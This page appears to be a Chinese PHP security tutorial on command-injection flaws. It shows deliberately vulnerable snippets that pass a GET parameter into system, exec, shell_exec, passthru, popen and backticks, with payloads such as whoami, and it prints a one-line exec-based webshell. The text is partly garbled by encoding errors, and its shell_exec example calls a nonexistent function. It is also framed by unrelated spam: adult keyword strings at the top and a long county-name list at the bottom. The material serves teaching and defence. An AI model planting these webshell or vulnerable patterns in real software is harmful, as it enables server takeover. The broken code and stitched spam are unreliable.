国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁技術(shù)文章
文章詳情頁

php網(wǎng)絡(luò)安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì)探究

瀏覽:48日期:2022-06-06 15:25:39
目錄
  • 漏洞的產(chǎn)生原因
  • 漏洞的本質(zhì)
  • 涉及到的函數(shù)
  • 命令執(zhí)行漏洞的危害
  • 命令執(zhí)行漏洞的防御
  • 命令執(zhí)行相關(guān)函數(shù)的使用
    • system()
    • exec()
    • shell_exec()
    • passthru()
    • popen()
  • 反引號

    漏洞的產(chǎn)生原因

    • 代碼層過濾不嚴(yán)。應(yīng)用程序直接或間接使用了動態(tài)執(zhí)行命令的危險函數(shù),并且這個函數(shù)的運行參數(shù)是可控的
    • 系統(tǒng)的漏洞造成命令注入

    漏洞的本質(zhì)

    應(yīng)用有時需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),當(dāng)服務(wù)器沒有嚴(yán)格過濾用戶提供的參數(shù)時,就有可能導(dǎo)致用戶提交惡意代碼被服務(wù)器執(zhí)行,從而造成命令執(zhí)行漏洞。

    涉及到的函數(shù)

    • 1.system
    • 2.exec()
    • 3.shell_exec()
    • 4.passthru()
    • 5.popen()
    • 6.反引號

    命令執(zhí)行漏洞的危害

    • 1.繼承Web 服務(wù)器程序權(quán)限(Web用戶權(quán)限),去執(zhí)行系統(tǒng)命令
    • 2.繼承Web服務(wù)器權(quán)限,讀寫文件
    • 3.反彈Shell
    • 4.控制整個網(wǎng)站
    • 5.控制整個服務(wù)器

    命令執(zhí)行漏洞的防御

    • 1、盡量少使用執(zhí)行命令函數(shù)或者禁用disable_functions
    • 2、在進入執(zhí)行命令的函數(shù)之前,對參數(shù)進行過濾,對敏感字符進行轉(zhuǎn)義
    • 3、參數(shù)值盡量使用引號包括,并在拼接前調(diào)用addslashes進行轉(zhuǎn)義

    命令執(zhí)行相關(guān)函數(shù)的使用

    system()

    • 說明:能夠?qū)⒆址鳛镺S命令執(zhí)行,自帶輸出功能
    • 測試參考代碼:
    <?php
    if(isset($_GET["cmd"])){
        system($_GET["cmd"]);
    }
    ?>
    payload:?cmd=ipconfig

    exec()

    • 說明:能將字符串作為OS命令執(zhí)行,但無輸出,需要輸出執(zhí)行結(jié)果print。
    • exec() 默認(rèn)只輸出最后一行的數(shù)據(jù)
    • 如果想讓他輸出全部結(jié)果,可以加一個參數(shù),即exec(ifconfig,$arr); print_r($arr);,如一句話木馬:<?php exec($_REQUEST[123],$arr);print_r($arr)?>
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        print exec($_GET["cmd"]);
    }
    ?>
    payload:?cmd=whoami

    shell_exec()

    • 說明:執(zhí)行命令并以字符串的形式,返回完整的信息,但是函數(shù)無回顯,需要輸出執(zhí)行結(jié)果。
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        print shell($_GET["cmd"]);
    }
    ?>
    payload:?cmd=whoami

    passthru()

    • 說明:執(zhí)行外部命令,與system()類似,但是該函數(shù)會直接將結(jié)果輸出,無需輸出執(zhí)行。
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        passthru($_GET["cmd"]);
    }
    ?>
    payload:?cmd=whoami

    popen()

    • 說明:能夠執(zhí)行OS命令,但是該函數(shù)并不是返回命令結(jié)果,而是返回一個文件指針
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        $cmd=$_GET["cmd"].">>1.txt";
        popen($cmd,"r");
    }
    ?>
    payload:?cmd=whoami

    反引號

    • 說明:反引號[``]內(nèi)的字符串,也會被解析成OS命令
    • 反引號背后執(zhí)行的代碼其實是調(diào)用了shell_exec(),所以禁用了shell_exec()同樣反引號也無法使用了。
    • 測試參考代碼
    <?php
    if(isset($_GET["cmd"])){
        $cmd=$_GET["cmd"];
        print `$cmd`;
    }
    ?>
    payload:?cmd=whoami

    到此這篇關(guān)于php網(wǎng)絡(luò)安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì)探究的文章就介紹到這了,更多相關(guān)php命令執(zhí)行漏洞內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

    標(biāo)簽: PHP
    主站蜘蛛池模板: 昆明市| 苍溪县| 威远县| 鄂州市| 乌鲁木齐县| 那坡县| 永和县| 建德市| 桐庐县| 麻江县| 开封市| 定兴县| 平江县| 克山县| 云南省| 壤塘县| 怀安县| 三台县| 怀宁县| 平原县| 荆州市| 资阳市| 安多县| 桂林市| 天全县| 新干县| 鄢陵县| 乌兰浩特市| 达拉特旗| 万荣县| 思茅市| 卓资县| 古交市| 重庆市| 松江区| 峨眉山市| 洪洞县| 唐山市| 锡林郭勒盟| 右玉县| 临海市|